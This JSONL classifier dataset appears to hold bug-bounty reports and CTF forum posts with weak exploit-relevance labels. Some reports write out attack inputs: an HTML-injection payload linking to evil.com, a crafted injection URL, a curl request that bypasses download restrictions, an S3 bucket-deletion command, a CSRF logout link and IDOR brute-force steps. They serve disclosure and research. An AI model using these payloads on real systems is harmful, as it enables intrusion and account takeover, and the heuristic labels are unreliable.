-{"id": "90f43165aa1f8af45b5f", "text": "[Unknown] Logging in without knowing credentials after logged out action\n\nHi, I noticed weird behavior about logging in when preparing last report for you.\nRepro steps: Log in using incognito/private mode on https://weblate.org/pl/ - click top right https://hosted.weblate.org/accounts/login/?next=/idp/login/process/ and use password-username.\nAs logged in on https://weblate.org/pl/ now log out - click top right icon (Logging out). Now logged out on https://weblate.org/pl/\nBut now, click again icon <a href=\"/saml2/login/?next=/pl/\" class=\"user-tab user-anonymous\"></a>\nSee logged in without interaction - like type password/credentials.\n\nAdditional information:\nChecked with different browsers like Firefox and Chromium based.\nYou can many times logging out and just clicking icon (steps above) - be logged in.\n\nBest regards,\n\n## Impact\n\nScenario: user logging out so thinks is properly logged out, next person just clicks mentioned icon and is logged in as previous user without knowing credentials.\nPossible sensitive data exposure / ATO.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cfe01b96cf817f99fedc", "text": "[Unknown] [Java]: Add JDBC connection SSRF sinks\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ca91b083dd342d275fbd", "text": "[Privilege Escalation] Subdomain takeover at http://test.www.midigator.com\n\n## Vulnerability\nSubdomain test.www.midigator.com points to an AWS S3 bucket that no longer exists. I was able to take control of this bucket and serve my own content on it.\n\n## Proof Of Concept\n```code\n$ dig test.www.midigator.com\n[snipped]\n;; ANSWER SECTION:\ntest.www.midigator.com.\t60\tIN\tCNAME\ttest.www.midigator.com.s3-website-us-west-1.amazonaws.com.\ntest.www.midigator.com.s3-website-us-west-1.amazonaws.com. 59 IN CNAME s3-website-us-west-1.amazonaws.com.\ns3-website-us-west-1.amazonaws.com. 4 IN A\t52.219.193.3\n```\n\n{F1963195}\n\n## Remediation\nRemove the CNAME entry for the `test.www.midigator.com`\n\n## Impact\n\nSubdomain Takeover", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5aa20979ce2dfb625d52", "text": "[Unknown] Yet another SSRF query for Go\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "684dfc36c319dbb3824d", "text": "[Unknown] HTML injection through Invite Teammate email\n\n## Summary:\nI found HTML injection on domain https://platform.securityscorecard.io/ when we send invite teammate email. In this case \"message\" parameter is vulnerable.\n\n## Steps To Reproduce:\n\n 1. Go to page ( https://platform.securityscorecard.io/ ) and login.\n 2. Now go to page https://platform.securityscorecard.io/#/scorecard/wearehackerone.com/factors . Click on \"Invite Teammate\".\n 3. Fill the details first-last name, email and put below payload in \"message\" parameter\n\"><h1>HTML INJECTION</h1><a href=\"evil.com\">Click me</a>\n 4. Now when invited teammate see email , he will see executed html in email .\n\nVideo is attached as poc.\n\n## Impact\n\n1)  Attacker could redirect users and control them easily .\n2)  Could steal the credentials .", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "adc2bcf59cf1727f2492", "text": "[Information Disclosure] New Search Feature: Search for non-public words in limited disclosure reports\n\nSimilar to https://hackerone.com/reports/685909\nAn attacker can search for words in limited disclosure reports, and see if it exists in the full report. HackerOne will return whether the word exists in the full report, rather than in the limited part (e.g. summary/title ...) of the report\n\n### Steps to reproduce:\nHave the new beta search feature enabled:\n1. Search for \n`addProjectV2ItemById AND reporter:(\"ahacker1\")`\nNote that there is a hit for the phrase in the limited disclosure report (https://hackerone.com/reports/1711938) even though the word cannot be publicly found in the limited disclosure report.\n\n(This phrase is only the full report, not in the limited disclosure report)\n## Impact\n\nFor example, if there is a secret inside the full report (but not inside the limited portion), the attacker could leak it with a lot of tries.\nSuppose secret starts with PREFIX_\n\nthen attacker could search for:\nPREFIX_a\nPREFIX_b\n...\nuntil it matches in the report\nPREFIX_k\n\nthen the attacker could continue\nsearching for\nPREFIX_ka\nPREFIX_kb\nPREFIX_kc\n...\nuntil a match\nPREFIX_ko\nThis could be continued on until the attacker hits the end of the secret, therefore leaking the secrets.\n\nThe number of tries would take around:\naround 30 chars to try in each iteration * 40 (average length of a secret) \n= 1200 tries", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "80e77931c14ecb37d93e", "text": "[Unknown] [C#] CWE-759: Query to detect password hash without a salt\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "87bc82aeaa7d81e3c2ac", "text": "[Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)] Html injection\n\n## Issue Description\nHypertext Markup Language (HTML) injection is a technique used to take advantage of non-validated input to modify a web page presented by a web application to its users. Attackers take advantage of the fact that the content of a web page is often related to a previous interaction with users. When applications fail to validate user data, an attacker can send HTML-fomatted text to modify site content that gets presented to other users. A specifically crafted query can lead to inclusion in the web page of attacker-controlled HTML elements which change the way the application content gets exposed to the web. \n\n## Issue Identified\nThe consultant identified that the `show` parameter can reflect into the html page, the outline below demonstrates the steps taken to exploit and reproduce.\n## Risk Breakdown\n- Risk: **Medium**\n \n- Difficulty to Exploit: **Medium**\n \n- CVSS:3.1 Score: **5.4** [(/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)\n\n## Affected URLs\n - https://www.wikichat.fr\n\n\n## Exploit Link\n ```html\n https://www.wikichat.fr/trouver-lalimentation-adaptee-chat/?show=pedbaq%22%3E%3Ch1%3Especial%20offer%20%3Ca%20href=https://google.com%3Emalicious%20link%3C/a%3E%3C/h1%3E%3Cinput%20type=hidden%20id=%22\n ```\n\n## Steps to Reproduce\nThe following steps indicate a proof of concept outlined in three(2) steps to reproduce and execute the issue.\n\n**Step 1:**\nOpen the `Exploit Link` and you will see the `special offer` with `malicious link` as shown in the image below\n\n![alt text](https://www.uplooder.net/img/image/87/76f9c0358f1f67069b0aeb89de2e0c68/Screenshot-from-2023-07-10-16-40-30.png \"malicious page\")\n\n\n\n**Step 2:**\nWhen the user clicks on the link, redirected to the attacker's site\n\n\n## References\n - [1] [snyk](https://security.snyk.io/vuln/SNYK-JAVA-COMXUXUELI-3248764)\n - [2] [OWASP](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/03-Testing_for_HTML_Injection)\n\n## Impact\n\nFraud and deceiving site users", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2dd25f8c36959c136669", "text": "Introduction to Windows Command Line - Skill Assessment nº9\n\nHi! I cannot pass question nº9 Use the tasklist command to print the started services and then sort them in reverse order by name. The fourth service is the flag for this user. I have tried the following with no luck: Get-Service | Sort-Object -Property Name -Descending Get-Service | Where status -like ‘Running’ | Sort-Object -Property Name -Descending Any tip?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cba42258021488a26b86", "text": "[Information Disclosure] Open S3 Bucket Accessible by any  User\n\nhi team,\nhere i found Open S3 Bucket Accessible by any  User\n\nvulnerable URL:\nhttps://cdn2.omise.co/\n\nbucket name  : `omise-cdn-2`\n\nI haven't tried this yet as it may delete the bucket. (it is possible)\nan Attacker can delete the bucket using this command:-\n$ aws s3 rb s3://<The_bucket_name>\nand claim the bucket again to takeover the bucket \n\nhttps://cdn2.omise.co/. (S3 misconfiguration), that allow to any user listing/read/download all folders/files.\n\n\n\ni think somthing misconfiguration is happaening here, u cant read the bucket using Aws Cli but u can read it via browser.\nand also u can download the file using both Aws Cli and Browser.\n\n████████\n\ndownload:\n\n██████\n\n## Impact\n\nSensitive information Leakage.\nan Attacker can delete the bucket .and claim the bucket again to takeover the buckaet", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d7976874d276df2f915b", "text": "[Open Redirect] Open redirection at https://smartreports.mtncameroon.net\n\n## Summary:\nHello, \nI found open redirection on https://smartreports.mtncameroon.net\n\n## Steps To Reproduce:\n1. Go to https://smartreports.mtncameroon.net//example.com/..;/css\n\n2. Redirection to example.com\n\n## Impact\n\nOpen redirection vulnerability can redirect users to malicious sites that harm users", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b3c72333d83696257c1c", "text": "[UI Redressing (Clickjacking)] Clickjacking login page of https://hackers.upchieve.org/login\n\nHello, you have discovered this unprotected login page\nhttps://hackers.upchieve.org/login\nAn attacker can \nin frame page\nin iframe \nand Deception of a user and obtaining a password, email and sensitive information\n\n## Impact\n\nAn attacker can  \naDeception of a user and obtaining a password, email and sensitive information", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "567bbe0a281c3f223517", "text": "[Improper Access Control - Generic] Download permissions can be changed by resharer\n\nThe new feature in NC 25 to limit downloads also for internal shares is meant to force users to use secure view. So documents are watermarked and what not.\n\nAssume a company wide share. People can share files from it to others but they can't be downloaded. For simplicity\n\n* user1 shares a folder with reshare permissions but without download permissions to user2. Assume this is a share with ID 10\n* user2 shares that folder with user3, this is a share with ID 11\n\nThis all works as expected\n\nNow user2 simply does a PUT\n\n```\ncurl -u user2:pass 'https://SERVER/ocs/v2.php/apps/files_sharing/api/v1/shares/11' -X PUT -H \"OCS-APIREQUEST: true\" -H 'Content-Type: application/json' --data-raw '{\"permissions\":\"17\",\"attributes\":\"[{\\\"scope\\\":\\\"permissions\\\",\\\"key\\\":\\\"download\\\",\\\"enabled\\\":true}]\"}'\n```\n\nAnd there you go. No more pesky secure view. Just easy downloads for user3.\n\n## Impact\n\nSecure view for internal shares is useless if also reshare permissions are given.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7700f2f09124222b819d", "text": "[Unknown] Is the Google Bucket Meant To Be Publicly Listable? https://cdn.shopify.com/shop-assets/\n\nHi,\n\nI found that https://cdn.shopify.com/shop-assets/ is listing the all objects in https://storage.googleapis.com/arrive-assets-storage-production/\n\nBut when I directly visit https://storage.googleapis.com/arrive-assets-storage-production/, it says \n\n>Anonymous caller does not have storage.objects.list access to the Google Cloud Storage bucket.\n\nSo I wonder maybe it is unintentional that user can directly list all the objects in GCP using the link https://cdn.shopify.com/shop-assets/?\n\nPoC\n\n██████\n\n## Impact\n\nList objects in GCP that should be protected from anonymous users", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "094230e3769512f77f66", "text": "Network adapter for a beginner\n\nHi, I’m a student and I’m just entering the huge world of cybersecurity. At the moment I have a Lenovo Ideapad laptop, and it works decently. Looking at different penetration testing tutorials I see that many recommend to buy a network adapter, so you can have the possibility to use the network card in monitor mode or do packet injection. The laptop’s network adapter can get into monitor mode (unfortunately I have to reboot the computer to get it back into managed mode), but I haven’t tried if it supports packet injection yet. Would you advise me to buy a network adapter, obviously not a very powerful one (at least for now), although it can already do several things? Thanks in advance", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-02-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "465c6f9cb415a85b3910", "text": "[Incorrect Authorization] Incorrect Authorization Checks in /include/findusers.php\n\n## Summary:\nThe vulnerability is located in the `/include/findusers.php` script:\n\n```\n16.\tinclude \"../mainfile.php\";\n17.\txoops_header(false);\n18.\t\n19.\t$denied = true;\n20.\tif (!empty($_REQUEST['token'])) {\n21.\t\tif (icms::$security->validateToken($_REQUEST['token'], false)) {\n22.\t\t\t$denied = false;\n23.\t\t}\n24.\t} elseif (is_object(icms::$user) && icms::$user->isAdmin()) {\n25.\t\t$denied = false;\n26.\t}\n27.\tif ($denied) {\n28.\t\ticms_core_Message::error(_NOPERM);\n29.\t\texit();\n30.\t}\n```\n\nAs far as I can see, I believe this script should be accessible by admin users only (due to line 24). However, because of the if statements at lines 20-23, this script could be accessed by unauthenticated attackers if they will provide a valid security token. Such a token will be generated in several places within the application (just search for the string `icms::$security->getTokenHTML()`), and some of them do not require the user to be authenticated, like in `misc.php` at [line 181](https://github.com/ImpressCMS/impresscms/blob/48af29c6b8150fbf4220bb5cc4f3c57bcd818384/misc.php#L181).\n\n\n\n## ImpressCMS branch :\nThe vulnerability has been tested and confirmed on ImpressCMS version 1.4.2 (the latest at the time of writing).\n\n## Steps To Reproduce:\n  1. Try to access the `/include/findusers.php` script without being logged into the application\n  1. You will see an error message saying **\"Sorry, you don't have permission to access this area.\"**\n  1. Go to `/misc.php?action=showpopups&type=friend` and look at the HTML source code, search the string `XOOPS_TOKEN_REQUEST` and copy the value of the token\n  1. Go to `/include/findusers.php?token=[TOKEN_VALUE]` and you will be able to access the script and e.g. search through the registered users\n\n## Impact\n\nThis vulnerability might allow unauthenticated attackers to access an otherwise restricted functionality of the application, which in turn might allow an information disclosure about the CMS users (specifically, only the username and real name will be disclosed).", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9ca3764495ae660b0aeb", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected cross site scripting in https://███████\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser. \n\nrequest.txt attacked \npoc attached\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nrun request attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "742136419922c82c5333", "text": "Ctf command\n\nHi there, I’m trying to find some people, who can help me with experience in real CTF. I’m not new in CTF, but I want to see how cool people solve challenges in real CTF, maybe even play CTF with them.))))))", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-07-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3ca832376f33be026452", "text": "[Improper Following of a Certificate's Chain of Trust] Node.js Certificate Verification Bypass via String Injection\n\nThis is a report on behalf of Google, who did not want to report through H1.\n\n---\n\n**Summary**\nNode’s APIs for reporting certificate fields are ambiguous and allow bypassing certificate verification in some circumstances.\n\n**Details**\nIn light of CVE-2021-3712, I’ve been looking at code which misuses OpenSSL’s printing functions. Node’s use will cause it to misparse certificates, and, I believe, allows certificate verification bypasses in some circumstances, such as a name-constrained intermediate. It’s also just a generally unsafe pattern.\n\nFor background, the OpenSSL utility has options like openssl x509 -text which output some human-readable text representation of the certificate. This gives output like:\n\n```\nX509v3 Subject Alternative Name:  \n  DNS:*.nodejs.org, DNS:nodejs.org\n```\n\nCertificates are not text. They use a structured binary encoding, called DER. Fields may contain commas, spaces, or any other byte. The text representation is just an ad-hoc diagnostic output by OpenSSL. It has no well-defined grammar and does not even escape characters, so the output is ambiguous. It should not be parsed.\n\nOpenSSL has functions for the text format in the library itself. These are X509_print, i2v_GENERAL_NAME, X509V3_EXT_val_prn, X509V3_EXT_print, and others. But, these are still for diagnostics, not a well-defined serialization of the certificate.\n\nUnfortunately, it looks like Node tries to parse this output to interpret the certificate itself:\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/src/crypto/crypto_x509.cc#L219\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/src/crypto/crypto_x509.cc#L229\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/src/crypto/crypto_common.h#L162\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/src/crypto/crypto_common.cc#L678\n(Despite the name, SafeX509ExtPrint is not safe.)\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/lib/_tls_common.js#L133\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/lib/tls.js#L239\n\nThe last instance is especially concerning. If a certificate is issued for, say, \"nodejs.org, DNS:blah.attacker.example\", certificate issuance or verification may reason, “this has .attacker.example as a suffix, which you own, so this certificate is fine”. Meanwhile, Node sees a text output of \"DNS:nodejs.org, DNS:blah.attacker.example\" and misinterprets it as two names, one of which is nodejs.org. Concretely, this may happen if a CA issues a name-constrained intermediate certificate to attacker.example. OpenSSL performs the name constraint check against the correct parse, then Node misinterprets the certificate and bypasses the name constraint.\n\nThis is similar to the old null prefix attack from 11 years ago. Other SAN types may also be injection vectors.\n\nAdditionally, as this is not the intended use, OpenSSL’s print functions receive less attention than other parts of their X.509 stack. Indeed not mentioned in the CVE-2021-3712 advisory is that the print functions silently truncated their outputs on interior NUL bytes. That makes uses like Node’s vulnerable to exactly the old null prefix attack from 11 years ago. (The GEN_DNS special case in SafeX509ExtPrint avoids it for DNS SANs, but other SAN types are still truncated.)\n\nInstead, Node should look at the GENERAL_NAME, etc., structure, which will give you the actual fields unambiguously, or call into the high-level OpenSSL functions that check hostnames.\n\n**Recommendations**\nThis is part of Node’s public API, so the fix may be tricky. Here is a rough roadmap:\n\nFirst, change the private C++/JavaScript interface for subjectaltname and infoAccess from OpenSSL print functions to structured JavaScript objects. Walk the actual structs, rather than using the print functions. I can help review this, as may not be obvious what fields you need, or what che", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-3712"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "489f9ce03734efa924e8", "text": "[Improper Authentication - Generic] Account Takeover via SMS Authentication Flow\n\n## Summary:\nDuring the **authentication** flow, an SMS is sent to the user in order to validate the session and proceed to the user account. The way Zenly API handles this flow is by:\n1. Calling the `/SessionCreate` endpoint with the mobile phone number of the user.\n2. A session for the user is created and a session token is returned, but no operations with this session are possible until the verification is complete.\n3. An SMS message is sent to the user, containing a verification code.\n4. Calling the `/SessionVerify` endpoint with both the session token and the verification code received by SMS.\n5. Once this request is successfully completed, the session token becomes valid and the user is now logged in.\nAfter the first call to `/SessionCreate`, subsequent calls will return ==the same session token==, until a call to `/SessionVerify` is made with a valid verification code. \n\n## Steps To Reproduce:\nTo reproduce this issue, an environment that enables intercepting and decoding network requests is required. Once this environment is set up, we are able to gain visibility over network activity.\nBy following a typical login flow, we can gain knowledge of the network requests that are involved. The flow starts by requesting the mobile phone number from the user. Once the user inputs their phone number, they will be prompted for a verification code that is sent through SMS.\n{F1355357}\nAt this moment, before entering the verification code, a request to `/SessionCreate` is launched. Note that this request (on the left) contains the mobile phone number of the user, and the response (on the right) to this request contains a **session token**, as shown below.\n███████\nNow, if an attacker also sends a request to `/SessionCreate` with the mobile phone number of the legitimate user, they will obtain the same session token. The response to this request, initiated by the attacker, is shown below:\n█████████\n**Note:** In this example, the attacker called `/SessionCreate` after the legitimate user. However, the attacker could also have called `/SessionCreate` before the legitimate user. This would have caused Zenly (on the side of the legitimate user) to obtain **the same session token that the attacker obtained**.\nAt this moment, the legitimate user will receive an SMS message containing a verification code. The authentication flow is finished (meaning the session token will become valid) once the user inputs this code in their Zenly application. However, once the user does this, the attacker will also end up with a valid session token in their hands (**since it is the same token**).\nThe attacker can then use this token to impersonate the legitimate user, executing any request to the Zenly API with it. The attacker can also, at any time, check if the session token is valid by launching a request to `/Me`, an endpoint that returns information about the current session. If the verification code has not yet been entered by the legitimate user, requests to `/Me` will return a 401 Unauthorized response. Once the code is entered, requests to `/Me` will return session information (such as phone number and user identifier), as shown below:\n████\nOnce the attacker knows the session is valid, they can launch requests to `███████`, `██████` or `████` instead, thus **gaining access to notifications, geolocation, and conversations** of the legitimate user and their friends. \n\n## Suggested Mitigation:\nIn order to mitigate this issue, the following steps could be taken:\n-\tSession tokens should be unique for each call to `/SessionCreate`.\n-\tA new SMS code should be sent on every call to `/SessionCreate`.\n-\tPrevious SMS codes should be invalidated once a new one is sent.\n-\tApply rate-limiting to both `/SessionCreate` and `/SessionVerify` endpoints.\n\n## Impact\n\nAn attacker can take over a user account by abusing the `/SessionCreate endpoint`, which will consistently return the same session token (although not yet valid) for the same user. Once the legitimate user validates the ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7c3508916bb791a312c0", "text": "[Code Injection] Dependency confusion in https://github.com/hyperledger/aries-mobile-agent-react-native\n\nHi,\nI found dependency confusion vulnerability in your aries mobile agent. \n\nThe agent is installed through npm which then download thepublic packages required by the application. Those dependencies are defined through the package.json file. I found that your agent depends on the package \"aries-bifold\" that is not currently present in the public repository; an attacker could upload its malicious package and then gain remote code execution on every target installing the agent.\nI limited my research on finding the missing package without uploading the \"malicious\" package on npm because https://github.com/hyperledger/aries-mobile-agent-react-native is not in scope (but is not out-of-scope either), but the methods to exploit this vulnerability are well documented here:\n1) https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/\n\nMore about this vulnerability from the researcher who discovered it:\n2) https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610\n\nCheers,\nr3drush\n\n## Impact\n\nRemote code execution to clients installing the agent", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aa59ebb5a328d699a73c", "text": "messede:Nice Post !, Keep it Up !I totally agree with what you said.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-06-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "975c55833b7fbfe2d910", "text": "[Insecure Direct Object Reference (IDOR)] Remove Every User, Admin, And Owner Out Of Their Teams on developers.mtn.com via IDOR + Information Disclosure\n\nHello world,\n\nThis vulnerability is too involved with regular users, in order for us to prevent any damage, we need 3 different user accounts we own. \nThis gives us specific \"user_id\" and \"team_id\" to work with.\nThere's an Information Disclosure as a side effect of this vulnerability. User and team names are disclosed in the response from the server.\n\n## Steps To Reproduce(POC)\n\n==First, let's paint a mental picture of this vulnerability and the required conditions using accounts with imaginary user_id & team_id.\nThe vulnerability and conditions are realistic, the only imaginary thing is the user_id and team_id.==\n\n 1. Create 3 accounts on developers.mtn.com(Account A, B, and C)\n\n==My imaginary accounts:==\n- A: First Account(imaginary user_id=1111 & team_id=0001)\n- B: Second Account(imaginary user_id=1112 & team_id=0002)\n- C: Third Account(imaginary user_id=1113 & team_id=0003)\n 2. Login to A, Invite B to your Team A\n 3. Login to B, Invite C to your team B\n 4. Open Burp Suite\n 5. Login to A, Remove B(Please Intercept This Request)\n 6. Send the Intercepted request to the repeater tab\n 7. Modify the request(Our Goal is to remove C from Team B, which we don't have access or permissions to.)\n 8. Replace the team_id with Team B's team_id. Replace the user_id with C's user_id.\n 9. Send the Request. (This Request will disclose C's username And Team B's name. Making this an information disclosure. PII)\n\n{F1577574}\n\n 10. C will be removed from B's Team B.\n 11. C will receive an email from MTN telling him/her that he/she has been removed from Team B.\n\n{F1577544}\n\n## Steps To Reproduce(Removing Every User)\n\n==This can be done with a custom script/code without the need for Burp Suite==\n 1. Intercept the request for removing a user, and send it to the Burp Suite intercept tab.\n 2. Config your settings to brute-force through every team_id and user_id. This part is not that hard because every user_id and team_id has only 4 digits.\n 3. Run the intruder request. When there's a successful user_id and team_id match, the user whose ID has been matched, will be removed.\n 4. If my calculations are correct, it should take 12 Hours to remove every user from every group they're in, the maximum being 20 Hours. The faster the internet speed, the faster the computer, the shorter the time it'll take to brute-force through every user_id and team_id.\n\n## Exploitability\n- Anyone with an account on developers.mtn.com can exploit this vulnerability\n- All you need is a user_id and a team_id to remove a user from his/her team.(Their privileges don't matter, even the owner is vulnerable)\n\n## Remediation\n- Ensure proper session management and object-level user access control checks.\n- Apply access control mechanisms such as permissions to certain action.\n- Validation of access to a team_id.\n- You should always check if a user submitting the request isn't tampering and isn't submitting any ID's that do not belong to his/her account.\n\n## Reference\n#1448475\n\n## Impact\n\nA low level user can remove his Admin and Owner from the team.\nEvery user will be removed from every team they are in, including owners and admins.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d550a260ae9a826c611f", "text": "[Cross-Site Request Forgery (CSRF)] CSRF with logout action\n\nHi, I wanted let you know and saw that previously similar issue was fixed.\nRepro steps: Go to https://weblate.org/pl/ and click top right icon for logging in (user-tab user-anonymous, https://weblate.org/saml2/login/?next=/pl/).\nLog in using username and password (https://hosted.weblate.org/accounts/login/?next=/idp/login/process/). \nLogged in on site https://weblate.org/pl/ use link: https://weblate.org/logout/\nSee logged out.\n\nThe similar result with using external page with prepared CSRF payload like:\n`<a href=\"https://weblate.org/logout/\"> Click me to see bonus pack`\nHere as logged in user use this link from external page, next go to tab where logged in and refresh the page - see logged out there too.\n\nBest regards,\n\n## Impact\n\nBad actor can affect the user's login status - logged out.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5c5235e2baaa2fd56663", "text": "AES256-CTR Attack for CTF Challenge\n\nHello, I have a CTF challenge at my university and unfortunately I don’t know what to do next. Here are all the clues: I can enter my student ID and get a cipher text back. Flags have the format {f=XXX}, where XXX consists of 12 pseudo-random characters from the alphabet “0123456789abcdef”. Here is the code that calculates the cipher text: import os from Crypto.Cipher import AES def encrypt(msg): nonce = os.urandom(8) key = os.urandom(32) c = b'' for i in range((len(msg)//16)+1): aes = AES.new(key,AES.MODE_CTR, nonce = nonce) c +=aes.encrypt(msg[16*i:16*(i+1)]) return c plaintext = '''GET / HTTP/1.1\\r\\nHost: ctf.itsc.uni-xxx.de\\r\\nUser-Agent: Mozilla\\5.9 (X11; Ubuntu: Linux x86_64; rv:62.0) Gecko/20100101 Firefox/ 62.0\\r\\nAccept: text/html,application/xhtml+xml,application/xml;qU0.9,*/*;q=0.8\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nConnection: keep-alive\\r\\nCookie: {{f={}}}'''.format(flag) ciphertext = encrypt(plaintext.encode()).hex() The encryption code was implemented in Python3 and the PyCryptoDome library. There is another note that you should pay particular attention to how the counter mode was implemented. Example for student ID 1950243 is the cipher text: cb581035f90f6091ba1e9857a25f081bc4723761ec0f4bb18860de12ff0d2b64e2746962a35f58a09c3ad60aa20a601c86483770a40269a28b20c35cac236a6be5712874f91a06f5ce66ef57bd552544ee682a61a31408898720c21eac163d27d32b702ef65d5effd87c9956a54e4274ef762b3ae41f19f5de7f8757ac286c63e97b2b6df9191aebde43bd27ef0d6061f8276461b3575cea863ada0aa00f7561e0742774a24647abc136df12e1022e69e1716874a65f44ac8d2fc30fe3002a69e1717f64eb1f06fcc264984cb71f3821a225491f974c4ba09e3a9a2aed006264ed7a212ff64a46e8bb1d9b03e255742cbc337118dc6e4ba68b3ec34bc900667ee8742a72ec0f4fbf873e9b46e80b637ded692139f64d5ac8e40dd808e20b6665e5722a2ff6444da09e63d60ae518601c865e2b7abd464dffce35d15bbf0c3025e8297624e11b19f393 I tried reversing the calculation but without the key I couldn’t find 